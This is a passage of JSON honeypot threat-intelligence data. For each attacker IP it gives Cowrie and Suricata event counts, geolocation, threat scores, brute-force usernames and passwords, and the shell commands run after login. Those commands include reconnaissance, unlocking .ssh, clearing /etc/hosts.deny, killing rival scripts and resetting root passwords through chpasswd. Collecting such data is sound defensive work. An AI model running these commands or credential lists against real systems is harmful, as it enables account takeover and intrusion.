      "reputation_metrics": {
        "total_events_30d": 918,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:52:40.026000+00:00",
        "last_seen_30d": "2026-04-15T21:42:58.361000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 719,
        "Suricata": 199
      }
    },
    "122.10.115.18": {
      "attack_count": 636,
      "first_seen": "2026-04-01T20:37:54.058Z",
      "last_seen": "2026-04-07T07:57:56.958Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "n8n",
        "ttest",
        "user",
        "deploy",
        "diogo",
        "ftpuser",
        "git",
        "steam",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!23qweasdzxc",
        "!@WQ12wq",
        "12345678Qq",
        "123456@w",
        "123456qwert",
        "1234Pass",
        "123654987",
        "1QWE2asd3zxc",
        "1q2w3e4r5tA",
        "2025121",
        "321",
        "7788521521",
        "ABC-123",
        "Aa654321",
        "Frappe!123",
        "Letmein123!",
        "Postgres1",
        "Postgres10"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"letmein123\\nP7gBgumaYy3U\\nP7gBgumaYy3U\\n\"|passwd",
        "echo \"n8n16\\nAdszZLeSrzoF\\nAdszZLeSrzoF\\n\"|passwd",
        "echo \"root:JqgfYvY7rJmj\"|chpasswd|bash",
        "echo \"root:ZwJNtklx9nWJ\"|chpasswd|bash",
        "echo \"root:mOQj2mbejhIZ\"|chpasswd|bash",
        "echo \"ttest\\nlFQPtTL5KlB8\\nlFQPtTL5KlB8\\n\"|passwd",
        "echo -e \"letmein123\\nP7gBgumaYy3U\\nP7gBgumaYy3U\"|passwd|bash",
        "echo -e \"n8n16\\nAdszZLeSrzoF\\nAdszZLeSrzoF\"|passwd|bash",
        "echo -e \"ttest\\nlFQPtTL5KlB8\\nlFQPtTL5KlB8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 769,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:37:54.058000+00:00",
        "last_seen_30d": "2026-04-07T07:58:59.877000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 636,
        "Suricata": 133
      }
    },
    "62.3.56.187": {
      "attack_count": 567,
      "first_seen": "2026-04-02T13:46:55.408Z",
      "last_seen": "2026-04-15T16:42:02.226Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser2",
        "newftpuser",
        "steam",
        "test12",
        "tester",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11q2w3e4r.",
        "12345",
        "123456",
        "123456wW",
        "123@123Abc",
        "123@root",
        "123qaz",
        "1qazXDR%",
        "2608",
        "AAbb@1234",
        "Abcd123..",
        "Admin!@#456",
        "Admin1$",
        "Dd112233",
        "P@$$w0rd345",
        "P@SSW0RD",
        "Test123!@",
        "Zm123456!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nYprQDJsMyHqD\\nYprQDJsMyHqD\\n\"|passwd",
        "echo \"ftpuser2\\nBXSFmtQ1qi9n\\nBXSFmtQ1qi9n\\n\"|passwd",
        "echo \"root:MqTSDEF6uNLv\"|chpasswd|bash",
        "echo \"root:etDSiqJFuthH\"|chpasswd|bash",
        "echo \"root:iidIG7sC2G8Q\"|chpasswd|bash",
        "echo -e \"123456\\nYprQDJsMyHqD\\nYprQDJsMyHqD\"|passwd|bash",
        "echo -e \"ftpuser2\\nBXSFmtQ1qi9n\\nBXSFmtQ1qi9n\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 210513,
      "as_org": "Masarat Al-Iraq Information Technology Co., Ltd",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 697,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T13:46:55.408000+00:00",
        "last_seen_30d": "2026-04-15T16:43:08.627000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 130
      }
    },
    "23.91.96.70": {
      "attack_count": 555,
      "first_seen": "2026-04-07T13:49:50.067Z",
      "last_seen": "2026-04-28T10:36:30.914Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "postgres",
        "345gs5662d34",
        "hruser",
        "kali",
        "steam",
        "adminuser",
        "ali",
        "btest",
        "claude",
        "hb",
        "monitoreo",
        "nagios",
        "newuser",
        "oracle",
        "pandora",
        "sammy",
        "sol",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%12345",
        "!@#qweASDzxc",
        "!Q2wE4r",
        "0p3nv1x-01!",
        "1234",
        "12341234",
        "123456",
        "12345678",
        "1234567812345678",
        "123456Qwe",
        "123456Zx",
        "123qweASDF321",
        "2024@lekLAeLK",
        "@thl0n",
        "Aa111222",
        "Abcd1234",
        "Abcd12345678$",
        "Asd123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nj8ByRCYbJASo\\nj8ByRCYbJASo\\n\"|passwd",
        "echo \"esroot\\nDlOOuv9lQ0OW\\nDlOOuv9lQ0OW\\n\"|passwd",
        "echo \"hruser\\nxYHthyX2otRP\\nxYHthyX2otRP\\n\"|passwd",
        "echo \"root:bXmn2vq2iKm1\"|chpasswd|bash",
        "echo -e \"123456\\nj8ByRCYbJASo\\nj8ByRCYbJASo\"|passwd|bash",
        "echo -e \"esroot\\nDlOOuv9lQ0OW\\nDlOOuv9lQ0OW\"|passwd|bash",
        "echo -e \"hruser\\nxYHthyX2otRP\\nxYHthyX2otRP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 711,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T13:49:50.067000+00:00",
        "last_seen_30d": "2026-04-28T10:37:35.033000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 555,
        "Suricata": 156
      }
    },
    "40.81.244.142": {
      "attack_count": 534,
      "first_seen": "2026-04-13T16:04:15.164Z",
      "last_seen": "2026-04-25T11:02:49.947Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "n8n",
        "admin",
        "asmon",
        "claude",
        "deployer",
        "frappe",
        "ftpuser",
        "info",
        "nmr",
        "server",
        "shivam",
        "steam",
        "teamspeak",
        "test001",
        "test_user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123.ZXCV",
        "123qwe",
        "7777777",
        "A12345689",
        "Aa112211.",
        "Aa123654",
        "Abcd12345678@@",
        "Bot#",
        "Bot@",
        "Claude14",
        "Frappe0",
        "Ftpuser01!",
        "Hx123456",
        "N8n0",
        "N8n13",
        "P@$$w0rd",
        "P@ssw0rd2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Frappe0\\n3GN2Xbk9JkDZ\\n3GN2Xbk9JkDZ\\n\"|passwd",
        "echo \"Ubuntu14!\\nxEbPY2H5M8M6\\nxEbPY2H5M8M6\\n\"|passwd",
        "echo \"root:AJ0zQzO1NmSw\"|chpasswd|bash",
        "echo \"root:FrAiU6omt6OL\"|chpasswd|bash",
        "echo -e \"Frappe0\\n3GN2Xbk9JkDZ\\n3GN2Xbk9JkDZ\"|passwd|bash",
        "echo -e \"Ubuntu14!\\nxEbPY2H5M8M6\\nxEbPY2H5M8M6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 669,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T16:04:15.164000+00:00",
        "last_seen_30d": "2026-04-25T11:03:53.754000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 534,
        "Suricata": 135
      }
    },
    "201.6.100.191": {
      "attack_count": 502,
      "first_seen": "2026-04-22T12:53:08.075Z",
      "last_seen": "2026-04-28T02:31:53.453Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "admin",
        "deploy",
        "ubuntu",
        "alireza",
        "bitcoin",
        "claude",
        "deployer",
        "dev",
        "frappe",
        "geoserver",
        "n8n",
        "oracle",
        "sftpuser",
        "socks",
        "system"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsxg",
        "!QAZxsw23edc",
        "111",
        "1234-qwer",
        "1qazXSW@3edc",
        "1qwerty",
        "@dm1n",
        "Aa159753",
        "Admin1@",
        "Asdf",
        "Dev9",
        "Fc123456",
        "Frappe31!",
        "Kumar@1",
        "Monster85!!$$",
        "N8n1234",
        "P@ssword2010",
        "Password!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:3e4wD85PKDGk\"|chpasswd|bash",
        "echo \"root:K5ZK7RUstZH1\"|chpasswd|bash",
        "echo \"root:PYDg8KfNRkf4\"|chpasswd|bash",
        "echo \"wLC_MsAU(c8hy21HX\\nUegf2g1M0GFJ\\nUegf2g1M0GFJ\\n\"|passwd",
        "echo -e \"wLC_MsAU(c8hy21HX\\nUegf2g1M0GFJ\\nUegf2g1M0GFJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T12:53:08.075000+00:00",
        "last_seen_30d": "2026-04-28T02:32:56.512000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 502,
        "Suricata": 121
      }
    },
    "88.142.46.185": {
      "attack_count": 479,
      "first_seen": "2026-04-23T08:18:28.027Z",
      "last_seen": "2026-04-26T17:12:22.187Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1234",
        "ubuntu",
        "admin",
        "ali",
        "claude",
        "dev",
        "ec2-user",
        "odoo",
        "oracle",
        "pzuser",
        "runner",
        "server",
        "sms"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111115",
        "123456789",
        "12345@Abc",
        "1Q2W3E4R",
        "1QW2E",
        "1qaz2wsx",
        "1qaz@WSX2025",
        "@dmin2026",
        "@password@",
        "Abcd1234",
        "Admin@88888",
        "Ali21!",
        "CCbb000",
        "Claude2026!@#",
        "Ninja123",
        "P@ssw0rd",
        "QA2ws3ed.",
        "Qaz12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Ubuntu2025!@#\\nVdtPIU1HKWft\\nVdtPIU1HKWft\\n\"|passwd",
        "echo \"admin1234\\n0nfr8r7pLWGu\\n0nfr8r7pLWGu\\n\"|passwd",
        "echo \"root:Z9U9Vg84h7XJ\"|chpasswd|bash",
        "echo \"root:kXKVdzj91npP\"|chpasswd|bash",
        "echo -e \"Ubuntu2025!@#\\nVdtPIU1HKWft\\nVdtPIU1HKWft\"|passwd|bash",
        "echo -e \"admin1234\\n0nfr8r7pLWGu\\n0nfr8r7pLWGu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Issy-les-Moulineaux",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T08:18:28.027000+00:00",
        "last_seen_30d": "2026-04-26T17:13:31.301000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 108
      }
    },
    "5.181.87.35": {
      "attack_count": 402,
      "first_seen": "2026-04-05T16:57:36.002Z",
      "last_seen": "2026-04-09T19:16:05.659Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "patrick",
        "sammy",
        "test",
        "Ubuntu",
        "camera",
        "db2inst1",
        "deep",
        "it",
        "n8n",
        "postgres",
        "sftp_user",
        "steam",
        "test5",
        "usuario"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "123",
        "12345678",
        "123qwer",
        "A1234567891011121314151617181920",
        "N8n26!",
        "Postgres!2025",
        "Qazwsx1..",
        "Test22!",
        "Xy123456@",
        "abcd1234",
        "camera",
        "hb@123456",
        "it",
        "patrick",
        "sammy31",
        "test2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"patrick\\neMRkBzgUL85j\\neMRkBzgUL85j\\n\"|passwd",
        "echo \"root:9kfBoM0O2SFB\"|chpasswd|bash",
        "echo \"sammy31\\njycZriPentAc\\njycZriPentAc\\n\"|passwd",
        "echo \"ubuntu@2024\\nx47eFi7hMeH4\\nx47eFi7hMeH4\\n\"|passwd",
        "echo -e \"patrick\\neMRkBzgUL85j\\neMRkBzgUL85j\"|passwd|bash",
        "echo -e \"sammy31\\njycZriPentAc\\njycZriPentAc\"|passwd|bash",
        "echo -e \"ubuntu@2024\\nx47eFi7hMeH4\\nx47eFi7hMeH4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 47585,
      "as_org": "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 480,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:57:36.002000+00:00",
        "last_seen_30d": "2026-04-09T19:17:07.632000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 402,
        "Suricata": 78
      }
    },
    "43.157.163.155": {
      "attack_count": 401,
      "first_seen": "2026-04-08T05:41:00.401Z",
      "last_seen": "2026-04-08T06:27:36.877Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "test",
        "serv",
        "ubuntu",
        "user",
        "bruce",
        "comp",
        "dev",
        "sasha",
        "sftptest1",
        "ttx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1122334455",
        "123QWE123qwe",
        "1q2w3e4R",
        "Default2025!",
        "Dev27",
        "Lapsus123$%",
        "Qazwsx2026@#",
        "Root0@#",
        "Steam23!",
        "Test1234@",
        "Test26",
        "User@2025",
        "asdf123",
        "bruce",
        "comp",
        "q1w2e3r4A",
        "qazwsx2026#",
        "qwe123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Steam23!\\nZDGIMGMlPiVg\\nZDGIMGMlPiVg\\n\"|passwd",
        "echo \"Test26\\nzjBBiECSpYuK\\nzjBBiECSpYuK\\n\"|passwd",
        "echo \"User@2025\\n6ti3rkcy3yxA\\n6ti3rkcy3yxA\\n\"|passwd",
        "echo \"serv\\nsDBxtPiisTv5\\nsDBxtPiisTv5\\n\"|passwd",
        "echo -e \"Steam23!\\nZDGIMGMlPiVg\\nZDGIMGMlPiVg\"|passwd|bash",
        "echo -e \"Test26\\nzjBBiECSpYuK\\nzjBBiECSpYuK\"|passwd|bash",
        "echo -e \"User@2025\\n6ti3rkcy3yxA\\n6ti3rkcy3yxA\"|passwd|bash",
        "echo -e \"serv\\nsDBxtPiisTv5\\nsDBxtPiisTv5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 476,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:41:00.401000+00:00",
        "last_seen_30d": "2026-04-08T06:28:45.053000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 75
      }
    },
    "185.216.119.134": {
      "attack_count": 386,
      "first_seen": "2026-04-16T23:04:53.621Z",
      "last_seen": "2026-04-18T09:43:18.833Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "deploy",
        "test",
        "bot",
        "dev",
        "devuser",
        "erpuser",
        "frappe",
        "iptv",
        "minecraft",
        "n",
        "odoo",
        "steam",
        "testftp1",
        "user03",
        "user04",
        "usman"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "12345@ZXCV",
        "123P@ssword",
        "123asdZXC",
        "1Qwerty",
        "1qaz3edc",
        "28092026",
        "71717171",
        "@dm1n@123",
        "A12345661",
        "Aa@159357",
        "Admin1234#",
        "Bot14",
        "Frappe10",
        "Frappe2025!",
        "Odoo2026!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:K0mG9aPXJXHg\"|chpasswd|bash",
        "echo \"root:rjfGKsOP7X97\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 536,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T23:04:53.621000+00:00",
        "last_seen_30d": "2026-04-18T09:44:22.942000+00:00",
        "days_since_last_seen": 12
      },
